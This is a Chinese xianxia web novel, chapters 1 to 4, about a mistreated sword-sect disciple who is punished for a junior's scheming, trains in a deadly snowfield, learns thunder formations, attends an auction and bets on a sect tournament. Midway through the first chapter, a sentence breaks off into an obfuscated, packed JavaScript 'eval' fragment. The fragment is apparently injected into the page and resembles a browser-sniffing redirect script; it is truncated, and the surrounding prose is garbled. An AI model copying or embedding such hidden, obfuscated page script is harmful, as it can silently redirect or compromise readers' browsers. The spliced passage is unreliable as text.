《和龙傲天相爱相杀后》 1. 师父 议事殿。 长老们高坐殿上,殿中神道柱身凶兽盘旋而驻,狰狞巨头正对中心彷佛下一息就会腾跃而出。 剑宗宗主正坐最高位,虽年过八百,但眉目温润、清雅如玉,看起来不过弱冠。 在宗主身侧,北庭岚眼睛通红地拉着宗主衣袖。 “师父,岚儿好疼。” 本该细长匀称的右手如今小指从根斩断,大抵疼得厉害,北庭岚眼泪不停往下掉:“岚儿明知修为不如师兄,在秘境内拖累师兄是岚儿的不对,可师兄未免太心狠居然斩了岚儿的手指。” “岚儿受委屈了。”宗主掌心拂过北庭岚断口处,本就愈合的浅粉伤口消失不见:“是你师兄之过,待会儿去丹房领一颗续筋生骨丹。” “就知道师父对岚儿最好了,谢谢师父!”北庭岚亲昵地枕在宗主膝上,对着宗主撒娇,在宗主看不见的地方眸子示威地蔑向下方:“续筋生骨丹可是最好的六品丹药,连化神道君根骨都能续上,给岚儿疗伤是不是太大材小用?” “丹药不治人,留有何用?” 北庭岚犹豫:“岚儿从家中带了不少疗伤丹药。倒是师兄,岚儿记得师兄受了不小的伤,这丹药师父给师兄用更恰当。” 掌心落在北庭岚发顶,宗主动作温柔,声音却带着冷意:“岚儿有心,受伤是你师兄咎由自取,权当长点记性。” “救人怎么还能伤着手?”大长老尖声怪气:“虚阳秘境区区金丹秘境,路水清能让岚儿落到归一宗手中本就其心不正,况且归一宗的人尚不敢伤岚儿分毫,怎得好巧不巧给你救人的剑风伤着了?” “许是救人太急,幸好只伤了根手指没什么大碍。”别的长老笑道:“刀剑无眼,不小心情有可原。” “只伤了手指?身为剑修,你们没看出来这一剑分明冲着岚儿性命去的?!路水清,纵然你出身低贱,但岚儿始终敬你是师兄,处处维护你,而你呢?满心怨恨嫉妒,数次对岚儿出手!” …… 宗主抬手,争论的长老们停下来。 他对着北庭岚温和的神情微敛,垂眼看向跪在殿中心的人。 饶是面对这样的众审,清瘦的脊背直挺如竹,素净的亲传弟子蓝白外袍穿在路水清身上好似覆了寒霜,肤色瓷白、气质清冷,整个人宛如冰雪砌成的。 “水清。” 路水清颔首:“弟子在。” “岚儿的手确是你伤的?” “是。” “竖子实在狠毒!岚儿是你亲师弟。”大长老拍椅而起,指着路水清怒斥。 宗主摇头:“虽是救人,但只从四位金丹手中尚且被逼到这般境地,终究修为不足,剑修一途需迎难而上,罚你去雪刃峰闭关练剑一月。” “怎么才一个月?至少得让他尝尝岚儿断指之痛!” “大长老说得有理。”路水清抬眼对上大长老,贴心道:“弟子甘愿断两根小指,让师弟去雪刃峰闭关苦修一个月,大长老觉得如何?” 趴在宗主膝上的北庭岚脸色一变。 大长老火冒三丈:“放肆!你就是这样和前辈说话的?!” “弟子好心建议,大长老觉得不妥作罢便是。”路水清直起身子离开大殿。 “实在太过目中无人!改天真得好好教教他尊师重教、同门相亲的规矩!” 大长老的怒斥落在身后,路水清刚出大殿,血腥味涌上咽喉,他面无表情抿紧唇强行咽了下去。 可惜了。 北庭岚保命的东西太多,若非如此,绝非只断他一根手指,砍不到脑袋至少砍条胳膊才好。 回到灵秀峰。 峰下只有条最低品的灵脉,好些年过去,灵气早已枯竭,峰上生不出灵药,多是些杂花野草。 但这些杂花野草被人细细地打整过长得格外喜庆,红的绿的白的黄的,交错又有规律地开着,漫天遍野十分漂亮。 落在峰上,沿着花间小路。 带着花香的风拂过腰间长发,袍底扫过草尖,路水清周遭的冷意不自觉消失。 推开藤蔓缠着的木门,屋舍内干净整洁。 “十师叔。” 正在院中躺着晒太阳的人听见动静看过来:“清清,你回来啦!” 白发白胡的十师叔没来得及高兴,一眼发现路水清过于惨白的脸,着急地上下打量路水清:“脸色好难看,你受伤了吗?” “嗯。”路水清点头:“虚阳秘境内,北庭岚联合归一宗的人想杀我,不小心受了点伤。不过我反重伤了他们,顺便断了北庭岚一根手指,被师父他们叫去问责了。” “我的清清真厉害!” 十师叔拉着路水清坐下,去房内赶忙找药:“先前你拿来的回元丹还有一些。” 回元丹是最简单的疗伤丹药,对路水清这样的金丹修士没用。更何况路水清被法器所伤,肋骨断了好几根,五脏六腑更是受到不小的重击,没有四品以上的丹药只怕得修养至少三个月。 因早感知不到灵气存在,十师叔并不知道路水清伤得多重,把剩下的所有丹药全捧了过来。 路水清接过回元丹,在十师叔担忧的目光中服下两颗。 他哄骗道:“好多了。” “两颗哪够?”十师叔谴责,态度强硬地逼迫:“再吃!又不是小孩了,吃药还想师叔来喂?” 路水清推辞不了,只得乖乖又服下两颗。 “怎么样?” “舒服些了。” “北庭岚这狗东西丧尽天良,这是他对你第几次出手了?!告诉你师父没有?!” “师父不会信。”路水清从衣襟内取出挂在脖颈内的储物袋交给十师叔:“实话说了只会被大长老变本加厉地刁难,我同他们说的是从归一宗手里救下了北庭岚,没控好剑风断了他小指。十师叔,我先去雪刃峰闭关一个月。” “雪刃峰?雪刃峰是你一个才晋升金丹的小娃子去的地方吗?!宗主活八百年活得老昏了头?依你说辞,你分明救了北庭岚,怎么罚起你来了?!”十师叔气得吹胡子瞪眼:“不行!你不能去!我不准你去,你随我去找他说道说道。” 路水清拦不住十师叔:“好。” 送十师叔上了仙鹤到了山峰,路水清才离开,宗主下的死命令,若是不去到时候罚得更重。 雪刃峰。 听名字就知不是什么好地方。 雪刃峰连绵起伏,终日连绵大雪,积雪数丈,灵气更是化刃形成罡风,金丹以下的修为一旦踏入雪刃峰立马被千刀万剐,饶是元婴修士进来也绝不好受。 刚踏入峰内,罡风席卷坚冰摧枯拉朽扑面而来。 路水清抽出腰间软剑迎面对上。 罡风咬住剑身,如毒蛇顺势逼上,路水清忙旋身抽剑,没想到罡风穷追不舍,如果不削减罡风威力待会儿多个罡风叠加就危险了。 路水清凝眉再次直面罡风。 半盏茶后,路水清从罡风中冲出。 身子几欲被切断,用尽全力也才勉强破了罡风一个小缺口。 长袖全碎,手臂鲜血淋漓,利刃划过血肉深可见白森森的骨头。路水清左臂颤抖,内伤加重,咽不下的血从唇角滴入雪中,溅出朵朵红梅。 这些罡风来袭时辰不定,路水清抓住罡风空隙盘膝打坐,运转灵气护体,好在雪刃峰灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到冷淡的回答,宗主略不满:“水清,为何越大反倒和师父越不亲近了?” “此次究竟怎么回事?你的剑不至于控不住剑风。” 路水清不语。 “不信为师吗?” 见人干净的外袍早被染红,让罡风刮得残破,大伤小伤密密麻麻,到底是他从小守着长大的孩子,宗主心中一酸,放软嗓音:“水清,你乃为师第一个亲传弟子,你十师叔修为尽废,于你之事难免力不从心,你永远是为师亲传弟子。” “为师者亦为父。你自幼丧父丧母,除了你的十师叔外,唯一亲人便是为师了。” “岚儿身份不同,在他事上不得不谨慎,为师心中知晓平日里委屈了你,如有苦怨尽可告诉为师。” “师父信弟子?” 宗主温和道:“自然。” “此次并未发生任何挟持威胁,全是北庭岚一手策划,连同归一宗的人试图杀了弟子,弟子的伤并非为了救人,而是为了逃跑。” “不会!” 宗主语气严肃几分:“岚儿自八岁来到剑宗拜我为师,他性子纵然娇气了些,断然不是这般心狠手辣的人。况且你与岚儿身世地位天差地别,他何苦刁难你?” “早知师父不信,弟子说笑的。”路水清扬起唇角,语气轻松,好似真的只开了个玩笑。 宗主被路水清不带暖意的笑容笑得心里莫名一慌。 “你与岚儿许是有些误会。” “师父所言极是。”路水清服下丹药捏紧剑,转身迎上罡风:“弟子练剑,不陪师父了。” 2. 仙门大比 雪刃峰很冷,不过伤势痊愈后,的确是修炼的绝佳圣地。 虚阳秘境得来的剑谱名叫跃影剑法,正如其名,轻到极致快到极致,其中剑法深奥玄妙虽然品阶只有人级,但比路水清目前所练的剑法好许多。 金丹境界可辟谷不眠,习惯雪刃峰的透骨寒冷后一切尚好。 一个月过得很快。 确定身上的伤完全恢复,路水清换了身衣服。 方到山峰—— “清清!”痛哭流涕的十师叔一把抱住路水清,雪刃峰太高太寒,他去不了,只能日日守在灵秀峰:“受伤了吗?宗主那个老不死没良心的,真让你去了整整一个月。” “没事。”路水清顺从地摊开手,好方便十师叔检查他有没有受伤:“我这不是好好的吗?” 路水清递给十师叔玉瓶:“师父给的六品养息丹,这里面还有两颗。” “算他还有点良心!”十师叔推开路水清的手:“养息丹太有用了。你贡献值全给我换了灵药,身上一没法器二没保命丹药的,师叔身子还硬朗着呢。再说你带回来的灵药和丹药有好多,足够我用的,这丹药自己留着以备不时之需。” 他揉了揉路水清发顶:“放心,十师叔还得罩着你呢!” 路水清眼睛一弯,他的眼形状似桃花,眼角往内微勾,眼尾修长弯而上挑,这是双本该温柔漂亮的眼睛,但时常漠然冷淡,气质又太过凛冽,很容易让人忽略。这一笑,眼中寒冰消融,暖了满湖春水,好看到惊心动魄。 “好,我收着。” 十师叔拉着路水清进屋:“上次教你的三品阵法记住了吗?” “记住了,先前虚阳秘境中得亏师叔教的我阵法,不然很难逃出来。” “我家清清最厉害的!哼,这群瘪犊子,归一宗倒是胆肥了,不过多了两个九级阵修又结好了凌家,当真以为攀上了高枝一飞冲天了吗?想走歪门邪道妄想搭上北庭家,伙同北庭岚这竖子对你下手,得亏我没了修为,不然非得闹他个归一宗人仰马翻!” “走,我们这次学四品的阵法,教你个引雷阵,专门刻在人身上的,以后谁敢欺负你,引雷劈死他!” “阵法还能刻在人身上吗?” “当然!引雷阵可是你十师叔的独家阵法,你可不能厚此薄彼,剑法和阵法都得修,不然以后师叔没人传承衣钵了。” 阵法很难。 方位、五行、灵气运转,熟记阵纹只是最简单的一步,灵气无时无刻在变换。阵法不仅需要阵修对灵气格外敏锐,更重要应变能力也就是悟性极强。 路水清只用两天掌握了引雷阵的布阵方法,紧接着在峰后练习布阵一连失败好几次,他在剑法从未遇过瓶颈,阵法从开始修炼好似没有顺畅过。 一连几日过去。 阵法再次爆炸,路水清在阵法炸开前及时跃开。 炸开了。 是灵气太多了吗? 他每一步的确按照十师叔教的来,到底哪里出错了? 三品阵法和四品阵法,是从低阶阵法跃到中阶阵法,果然难度天差地别。 路水清蹲下身凝视炸毁的残阵,低阶阵法是死的,中阶阵法更像活的,灵气在随时流动变化,一个不慎全阵皆毁。那么在阵法未成前,他该怎样处理这些流动的灵气确保不会灵气紊乱? 从日落蹲到日出,又从日出蹲到日落,十师叔远远看见贴心地没去打扰。 灵秀峰只有一老一年轻。 十师叔修为从大乘巅峰跌到筑基,无法御灵气而行,不过宗内有仙鹤。 他才闲不住,每日必乘着仙鹤绕宗四处逛逛,没事找找大长老和宗主的麻烦,或者去看看有没有品行过得去的新弟子,试图拐回灵秀峰给他做徒弟陪陪清清,可惜这些新弟子们一听他是剑宗十长老当即礼貌委婉地拒绝了。 在外听了好几天修真界里的大事小事,十师叔乘鹤回峰。 远远看见灵秀峰峰顶雷云积聚,闪电如蛟龙出水。 轰隆一声! 十师叔震得身子一颤。 四品引雷阵,四品阵法中最顶级,威力甚至能媲美五品中等攻击阵法。 最重要的是他的引雷阵威力有这么强吗?! 十师叔赶忙冲回后峰,从半空只看见下面数丈深冒着黑烟的大坑。 “清清!” “十师叔。”飞跃躲开爆炸阵法的路水清从云中落在十师叔旁边,递给仙鹤一把某次秘境中得来的松子。松树已有千年,连着松子带了好些灵气,味道清香脆甜。 仙鹤叼过松子,欢快地吃掉,随后高啼了声,蹭了蹭路水清展翅飞走。 “怎么成小花猫了?受伤了吗?”十师叔擦掉路水清脸上的脏灰。 “没受伤,可能灰尘太大不小心弄脏了。” 十师叔在坑边踱步:“还得是我的清清,太厉害了!比十师叔我当年更厉害,要不是十师叔没修为,非得收你当我亲传徒弟。” “不过引雷阵用在人身上与地面大相径庭,只是这样还不够。” 五行对应五脏。 上下左右各个部位,在修士站在不同方位时,体内和外界所对应的方位也在变换。 更重要的是以人为阵法依托,人体内的灵气也在无时无刻地变化。 十师叔告诉路水清布阵在人身上的诀窍后,路水清再次盯着阵法陷入了沉默。 他不能找真人练阵,只能在脑海一次次模拟布阵手法。 十师叔蹲守在路水清旁边:“还有十五日是仙门大比,仙门大比除了不准伤人性命外,不限制使用法宝。大长老护着北庭岚那小子一起回了北庭家,指不定想弄什么东西来在仙门大比上扬眉吐气。” 他幸灾乐祸:“反正他筑基,祸害不了你。” 说着十师叔叹气:“十八年前,正魔大战。北庭家前任家主虽和魔族在了一块,但他高风亮节,心怀凌云壮志。他的道侣纵然为魔族,可襟怀坦白、金玉其质。若非他们以命联手结成封印,封锁了魔域,只怕仙门如今早已不复存在。这般出众的两人,怎么会留下北庭岚这么个歪瓜裂枣?” “哈!巧啊巧。” 十师叔说着大笑:“北庭家全是阵修,偏生出了个北庭楼这个不到三百晋升大乘的天才剑尊。穿云宗一个全是剑修的宗门,却出了个器修天才!” “清清,你的天才名头难得有人给你抢了去。”十师叔揶揄地用肩膀撞路水清。 路水清不在乎什么天才蠢材,他配合十师叔惊叹:“哇!好厉害。” 即便做出浮夸表情,这张脸还是冷冷清清的,十长老实在不喜欢路水清老气横秋的样子,还没及冠呢!成天板着个脸干吗? 苍老粗糙的手揉乱路水清头发。 “在你从虚阳秘境出来当日,穿云宗宗主的小徒弟晋升了金丹。你十八生辰升金丹,人家晋升金 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知道路水清听不进去,十师叔不再缠着人,跑去打听这个大家都说比他清清还厉害的天才。 转眼离仙门大比仅剩最后十天,剑宗即刻启程前往朝天城,朝天城位于修真界中州最中心的位置,灵气浓郁成雨,但占地不大。 当初所有势力都想争了朝天城做宗门主驻地,朝天城几经转手,实在容纳不了整个主势力。 最后众势力干脆将朝天城作为修真界核心,比如阵盟、丹盟、器盟等测试登记点全在朝天城,至于决定修真界未来走向的新代弟子们比试自然也在朝天城。 路水清清点所有灵药,保证够十师叔用才离开。 走前,宗主特意传路水清去通天殿内殿藏宝阁。 数不清的法剑法器摆放在库房内,灵光缠绕,煞是好看。 “此次你参加仙门大比,金丹修士中能人居多。工欲善事,必先利器。若有趁手法剑,于你比试会事半功倍。”宗主指向一面墙:“这些剑贴合你的灵气,看中哪些尽管挑选。” 见路水清没动,宗主主动取下一柄幽蓝色的软剑:“你灵气猛进本该用刀,这十几年却只用腰间剑,已成习惯想改也难。正好此剑名为蓝蛟,剑身灵动如蛟龙,出剑间自带奔腾海啸,你试试看。” 路水清不接。 “水清?” “谢过师父。”路水清道:“弟子手中的剑陪了弟子许多年,它很好,弟子不需要别的剑。” “你的剑不是先前秘境中随便得来的吗?一柄没有品阶的废铁,如何配得上你?更何况此次仙门大比,背景深厚的金丹修士数不胜数,手中厉害法器不知凡几,你固然厉害,拿着破铜烂铁何以对战?!” “师父放心,弟子不会丢了师父和宗门的颜面。” “为师并为此意。” 路水清行礼:“师父,弟子东西尚未收拾,先回峰了。” 两个时辰后。 同十师叔告别,路水清登上云舟,数十艘遮天蔽日的云舟同时起飞,浩浩荡荡声势巨大。 玄色旌旗猎猎作响,北庭岚和大长老不在云舟,路水清心情难得稍好。 随着五长老清点完这艘云舟的弟子,路水清回房安心打坐修炼。 九天后。 剑宗一行人正式到了朝仙城。 3. 女孩子 他们收好云舟时,天边已是黄昏。 给了入城费,高耸城墙巍峨如龙盘旋而去,一眼望不见天际的城内万千灯火映亮天空,高楼亭台栉比鳞次,人声鼎沸,各色身着昂贵法衣的修士们带着灵光绚烂的法器于街上摩肩擦踵。 茶楼、饭馆、酒楼、客栈、成衣楼、丹楼、万宝阁……凡吃喝玩乐处数不胜数。 朱红恢弘建筑层出不穷,绿水环绕主城,华丽船舫顺水漂流,靡靡丝竹管弦声从内传来。 朝仙城寸土寸金,在这里有至少十位大乘老祖坐阵。 朝仙城内的每一条街都有归属权。 作为修真界中的顶级剑修宗门,剑宗在朝仙城共有四条街,街上法器、丹药、符箓等应有尽有。 刚进城,有人主动前来迎接路水清一行人。 仙门大比按修为分五级比试,分别是练气、筑基、金丹、元婴、化神。参赛者练气必须在二十岁以下,筑基五十岁以下,金丹百岁以下,元婴两百以下,化神五百以下。 剑宗每个擂台都有百人比试,路水清只负责金丹这一批修士。 路水清一一分配完客栈后,发现少了五个人。 “林邈。” “孙盛远。” “周悟。” “郑望山。” “吴志远。” 念完这五人后,人群一阵沉默,没人说话。 路水清抬眼,面前的几十位弟子或看天或看地,总之没人说话。 林邈。 其他四个人路水清不熟悉,不过他知道林邈。 林邈是四师伯的大徒弟,比他年长两岁,在他未正式修炼前,林邈是剑宗这一代中天资最显的弟子。 幼时四岁,正式迈入修仙一途时,他拜了宗主为师后,不知怎么得罪了林邈。林邈在他拜师结束的第二日,哄骗他去了后山荒林,用剑将他打趴,踩在他背上揪住他头发骂他没爹没娘的野种不配拜剑宗宗主为师,说他这种杂种玷污了剑宗的名声。 后面更是每隔几日,不管林邈高兴还是生气,都要抓走路水清打到半死。他法器多,路水清反抗不了,打伤后又给路水清服下丹药等他恢复再放他离开。宗主太忙,路水清找不到自己的新师父,那时十师叔的伤正是严重,他怕十师叔着急也不敢告诉十师叔。 不过这种情况只持续半年。 修炼半年后,林邈再也打不过他,可惜他不会骂人,所以用剑搅烂了林邈的舌头,虽然被师父扇了一巴掌,但十分解气。 从那之后林邈只能说些风凉话,然后被他打得半死。他没好的丹药喂给林邈,只能看着满身伤的林邈去告状,让他被师父惩罚得半死。 这些是他小时候才会做的蠢事,毕竟再大点,深知和林邈斗是自己吃亏。他没灵药,一时半会儿恢复不了伤会耽误给十师叔攒贡献点换灵药,实在没必要为林邈浪费。而林邈也专心修炼,所以两人交集变少,不过林邈遇见了他还是会出言嘲讽。 面对弟子们眼底藏不住看他掉面子的幸灾乐祸,路水清习以为常地收了名册,去和随行长老说了声。 “不在?你身为大师兄怎么看的人?!眼瞎了吗?几个人都照应不过来?”随行长老是大长老派系,和北庭岚一个鼻孔出气,看路水清十分不顺眼,当着客栈所有人面不留颜面地大声呵斥。 “长老所言极是。” 路水清将名册丢向这位破口大骂的长老,不知道路水清要做什么的随行长老下意识单手接住。 磅礴灵气倾泻而出,后脚不由自主后退半步,灵气震得他手臂发麻,连忙左手同时护住,两股灵气不相上下,砰的声,名册在手里炸开。 粉末扑了一脸。 本是给路水清下马威,没想到当众反被下面子的随行长老神情少见的难看。 路水清看着这人狼狈的样子:“长老大概是老糊涂不中用了。” 在随行长老欲拿身份压人时,路水清又道:“弟子区区金丹,没照料好别的师兄弟情有可原,长老身为元婴,看来确实不太中用,连几个金丹弟子都看不住。” 随行长老脸色青白交替,看见杵在旁边大气不敢喘的弟子们,怒喝:“一个个是废物吗?这么多人,全没看见你们林师兄他们去哪儿?” 这时,才有个弟子颤巍巍说道:“方进城时,林师兄他们说去拍卖场看看。” 路水清扫了眼这些人,转身上楼。 等随行长老走后,战战兢兢的弟子们才敢说话,怨恨地瞪着路水清消失的位置。 天才通常有点毛病,路水清性格不好,手段残忍,面美心毒。不仅嫉妒北庭师兄还时常设计陷害北庭师兄,听说前不久的虚阳秘境,北庭师兄差点身陨在秘境中。 北庭师兄出了名的和善,若是好运在哪儿遇见了北庭师兄,北庭师兄常大方地送他们一些丹药。 可惜他们没势力背景,不敢公然和路水清作对。 “长老都不放在眼里,难怪敢那样欺负北庭师兄。” “听说北庭小师兄被路水清重伤,真是人……”丑字无论如何说不出来,这人憋了半天:“真是恶人多作怪!嫉妒北庭小师兄嫉妒得快要发疯了吧?家世好,相貌好,什么都不缺,哪像他陪着个只差棺材板没盖上的老不死。” “养他的十长老本身也不是好东西,仗着自己资历,逼着宗主他们给了不知道多少灵草丹药。” “一丘之貉。” …… 傍晚。 路水清自打坐静心中醒来,他推开窗户,街上人潮涌动,朝仙城内这几日正是拍卖会大盛之时,五湖四海的奇珍之物只要想找,去拍卖场内都能遇见。 他还差本剑谱。 除了小时候师父传给他的几套自悟的基础剑招外,八岁起,自北庭岚来了后,师父没再传过他剑法,难得师父有那个心思也会被北庭岚以各种方式打断,最后不了了之。 贵为剑宗宗主不食人间烟火,师父说藏书阁内有许多飞升前辈留下的自创剑法足够他修行参悟,只是十师叔的性命全由他贡献值换来的灵药丹药维系,他根本没有别的贡献值去藏书阁参悟剑谱。 跃影剑法是他目前唯一的剑谱,仅有人等品级,仙门大比人才济济怕是不够用。 感受着颈上挂着的储物戒,从羽山秘境后,他这些年不准再去秘境。好在宗内任务多,除去兑换贡献值的任务,抠抠搜搜攒了这么多年也有十万灵石。 十万,应该不少了。 他常服加起来也不过两三枚灵石,或许能碰碰运气拍一本好点的剑谱。 拍卖场名为万象拍卖场。 是修真界最大的拍卖场。万象拍卖场伫立在城中心,内装有鲛人提炼出来的长明烛,红灯长日不熄围绕在拍卖场高楼旁。 路水清交了两百灵石入场费,接过座位牌,领了个简单的面具,随着人潮进入场内,漫天奢华顿入眼前。作为修真界最大的拍卖会,仅是廊道装潢得也格外奢华,中品灵药随处可见,拳头大的夜明珠不要钱地镶嵌在墙内。 整个拍卖楼呈圆形,平地而起的二楼拍卖台位于正中心,虽然四周布满对准拍卖品的呈影阵,确保待会儿拍卖台上的东西无一遗漏地呈现在各位拍客眼中,但观赏视野和安全隐秘实在相差太远。 从底楼开始,越往上越贵。 第一楼位置最为廉价,所有人裸露在大众面前,人们肩重着肩,密密紧挨着。 路水清扣上半脸面具,坐到安排好的位置,仰起脖颈看向拍卖台。 最便宜的位置就是这个不太好,拍卖抬上的情况看不完全,幸好拍卖品不受影响。 浓重粗烈的气息弥漫在周身,廉价的木质面具戴在这些人汗湿的脸上。 突得,路水清眉梢一动,灵气顿出,直接折断那只不老实想摸他腰的手,惨叫声淹没在人群中。 路水清用灵气洗干净手。 不知道上场拍卖的到底什么东西,引得这些人丑态尽显,当众发情。 似乎听到了他的心声,在他右前三排侧边的位置,有道与周遭格格不入,朝阳般的清澈男声响起,路水清抬眼看去。 只见那人长发只用了简单绳结高拢而扎,密长马尾自然垂下。身上的衣料虽简单,姿态随意散漫脊背却不弯不折,处在拥挤人群间仍旧不骄不躁,举止间自带贵气,仅是一眼,就知出身不凡教养极好。 “三师兄,先前拍卖的什么?” 那位三师兄答道:“一只特意用修士和狐妖交/配的金丹期半狐妖。” “啧。”那人没再说话。 路水清了然。 原来是只半妖炉鼎,不仅好看,用来修炼不会残留丹毒,而且金丹期的半妖连元婴期都能用,难怪全是这副模样。 不多时,最后一场拍卖会正式开始! 锤声响起,在欢呼声中侍者端上第一件名为《憾天》的上半部功法拍卖品。 起拍价七万,每次加价不得少于五百灵石。 七万?第一件就这么贵? 路水清突然觉得十 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“这位大师名字倒是别致。” 在又是一片前所未有的嘈杂欢笑中,“哧!”三师兄不小心失态,连忙咳了声,假装整理衣服,顺便对旁边的人悄悄做了个敬佩的手势 就是那人炼制的手枪。 路水清难得好奇仔细打量起一臂宽匣子里的手枪。 这个手枪远不及常见的枪长,模样也完全不同,全身设计呈玄黑,看得出来炼制的人十分用心,枪身雕刻了繁复精致的金纹,只是枪身设计十分奇怪,倒是从未见过的模样。 手枪,该怎么用? 在众人疑惑中,拍卖师拿起手枪。 右手单手握住手枪枪身下把,食指扣在小圈里:“依大师所言,使用手枪不需太多技巧,只要像我这样握住枪柄,以少数灵气灌入其中,随后扣压扳机,就能发射出比自身强大十倍的灵气弹击中敌人,不过仅限于金丹以下的修士使用。” 单说不展示没人会愿意为一个从未听过名字的法器买单,拍卖师微笑地将手枪递给旁边灵气微弱的侍者。 只见侍者不太熟练地握住手枪,对准抬上来足有三指厚的精铁铁板。 手指轻松扣下扳机,砰的一声,枪管弹出白焰,侍者的手往后一震,压缩后凝实的灵气弹以迅雷不及掩耳之势狠狠击中钢板,当即打出一个深陷下去的凹槽。 一个练气一层的修士竟然仅能借用手枪使出这么强的灵气?! 而且金丹以下的修士能用! 若筑基巅峰修士用这手枪,瞬发挥出十倍的威力,那不是意味着能伤到金丹真人?!虽然速度算不上奇快,但若出其不意,关键时候也是件保命的利器! 不过这样的法器拍卖场不该安排在这样前面,至少也是十几万灵石往上。 侍者放下手枪,拍卖师道:“此枪因材质限制,一共可用五次,现今已用两次,只剩最后三次可用。三次之后,枪身尽毁,起拍价:九万七千,每次加价不得少于一千灵石。” 法器新奇,威力还大,对灵气需求少到可怜。即便只剩三次可用,九万七千还是少了,只怕器宗的人坐不住。 路水清方想罢,五楼一间包厢有人立马叫价:“二十万。” 一锤定音,先不说有没有这个灵石争,顶楼的人加价其他人就是想买也不敢跟。 下一件拍卖品很快抬了上来,是件玄铁甲,起拍价十万三千。 没有剑谱,路水清并不意外,本来只是来碰运气。 他起身避开挤着的人群,大概发出了些动静引得一些人注意,路水清感应到目光回头看了眼,正好对上前面漫不经心望过来的人。 平庸的面具挡住了大部分脸容,但挡不住面具下清俊出彩的轮廓,看起来与他年岁相仿。 看爷爷一炮轰死你。 路水清脑海里出现这个名号,唇角无意识微扬。 “看什么?”三师兄发现旁边呆愣的人,跟着瞧了瞧,没发现稀奇的地方。 “好漂亮。” “什么?谁?谁好漂亮?有女修吗?” 身旁的人茫然回神,可惜地收回视线:“没什么。” 4. 大气运者 临近比试,外面散摊上的法器功法等贵得离谱,路水清逛了几条街,勉强找到的剑谱品级比他现在的还要低。 “押注!押注!”鸿运坊外敲锣打鼓,明目张胆地坐庄开赌。 “明日仙门大比,今天是最后一次下注,都来都来都来,大家都来选,一枚灵石也可以下注,最高一赔三十!” 这谁能忍住?过路的人将赌坊里三层外三层围得水泄不通。 路水清跟着进来瞧,按大比修为来分,每个修为的比试从挑选出来的十人中压所得名次。 他来到金丹赌桌面前,他出宗次数少,换下了弟子服,所以赌坊的人并未认出他。 “仙友看中谁?一枚灵石都可下注。” 路水清发现金丹盘上,只有几个名字认识:“能介绍一下吗?” 庄家十分热情,从胜率最大的人开始讲起:“这位,出身北庭家,家主次子,北庭家子辈排行第九,北庭赢,方至而立之年,五级阵修、金丹巅峰,买一赔一。” “赵蔚,剑宗六长老大弟子,年岁三十,金丹巅峰剑修,出身名门大宗,要实力有实力、要法器有法器,同样买一赔一。” …… 待选人中买一赔一,也就是最有希望夺金丹榜首,北庭家占两位,剑宗占两位。 然后来到一赔二,和前面相同,还是北庭家和剑宗互相争夺。 最后只剩两位,庄家才介绍路水清:“这位乃剑宗坐下亲传大弟子,路水清,四月前晋升金丹,年仅十八,因极少出宗故具体实力不好细估,因师父乃剑宗宗主思及法器众多,猜测金丹前十大概率能收入囊中,买一赔十。” “榜首。” 庄家笑容不变:“仙友想买榜首吗?” “买路水清榜首。” 庄家不变的笑容僵了下:“仙友勿要说笑,上面选定的人、定下的赔率,我们不能随便改。” “押路水清。” “前三吗?” “对。” 旁边跟着下注的人见路水清真拿灵石下注,难得好心地劝道:“路水清,前三?今年参赛的金丹巅峰弟子不下一百,他们要法器有法器,要实力有实力,路水清一个金丹初期怎么和他们争?” “仙友,你有这灵石买路水清不如多为自己买几身好衣服。” “路水清虽有天才之名,但师父乃剑宗宗主,手中灵丹妙药不计其数,信路水清不如信秦雪重啊!至少穿云宗宗主可没那么多好东西给自己徒弟。” “仙门大比可不是随随便便哪个天才就能上来的,上一次大比前传得沸沸扬扬的天才上去直接两轮败,输得面子里子掉光光~” “管你师父是谁,该输还得输,法器再多实力跟不上也没用。况且能进仙门大比的有几个人差那点法器?路水清要真厉害,能藏在宗里十几年不露面?剑宗是不是被北庭家压糊涂了啊。” …… 众人你一言我一嘴。 路水清不受半点影响,用全部灵石押自己,指了下:“他呢?” 庄家清点完灵石数量,一边收入储物袋一边瞥了眼仅剩的那个名字,道:“秦雪重,穿云宗宗主前些年新收的小徒弟,方满十八,准确来说他十七晋升金丹,比路水清还强上几分。不过与路水清不同,他并非剑修而是器修,此人不似路水清有师父宗门做依托,故而赔率最高,一赔二十。” 器修?金丹修士? 路水清莫名想到昨夜拍卖场内那个戴着面具的少年,不过他们穿着常服看不出来是哪宗的弟子。不过先前虚阳秘境内,遇见的穿云宗弟子们手里确实多了奇奇怪怪的法器,不仅消耗灵气极小,而且效用很大。 “劳烦取出五万灵石,押秦雪重。” “仙友决定了吗?” “是的。” 庄家十分乐意帮忙,很多人不信邪,看赔率高总觉得自己能撞大运,这十万注定血本无归咯。 仙门大比第二日正式开始。 清晨,路水清下楼就看见守在大堂的林邈,一身锦衣玉带,手里握着重金打造的法器千丝扇,相貌风流,乍一看十分光鲜亮丽。 折扇在指间翻转,稳稳落入掌心,林邈上前:“昨日不告而别,听说引得水清师弟和长老大吵了一架,实在抱歉。” 路水清不解:“为何对我抱歉?” 没等林邈说话,他又道:“若你们残了死了,宗门怪罪不到我头上。” 站在林邈后面的孙盛远嗤道:“难怪宗主不喜欢你,只宠着北庭师兄,你这种人根本不配。” 路水清走了过来。 孙盛远吓得往后退开好几步,灵气防御全身:“别想动手啊,马上比试,除非你想被宗主惩罚!” 路水清越过孙盛远,对大堂另一边的弟子道:“巳时仙门大比开始,想比的就走,不想比的留下。” 一群人低着头不情不愿跟着路水清离开客栈。 “他不对劲。”孙盛远道。 周悟跟着道:“提到宗主他没有半点反应,先前他去虚阳秘境,说了句宗主巴不得他死在里面,他瞪过来的时候那眼神还以为他要杀了我!” “还能怎样?伤了小岚被宗主训斥,心死了呗。” “小岚刚到的时候,林师兄说宗主不要他了,死玩意憋红眼睛来打架一边打一边哭,结果被宗主鞭责二十,打的骨头出来了还面壁十日。”他们想起路水清小时候的惨样,面对面哈哈大笑。 “行了,走吧。”林邈展开折扇。 仙门大比于登仙台举行。 凡登记在册有名有姓的宗门,无一不来参加仙门大比,饶是占地千万里的朝仙城主城街道也拥挤异常。在看见剑宗的名号,所有宗门队伍不约而同让开。 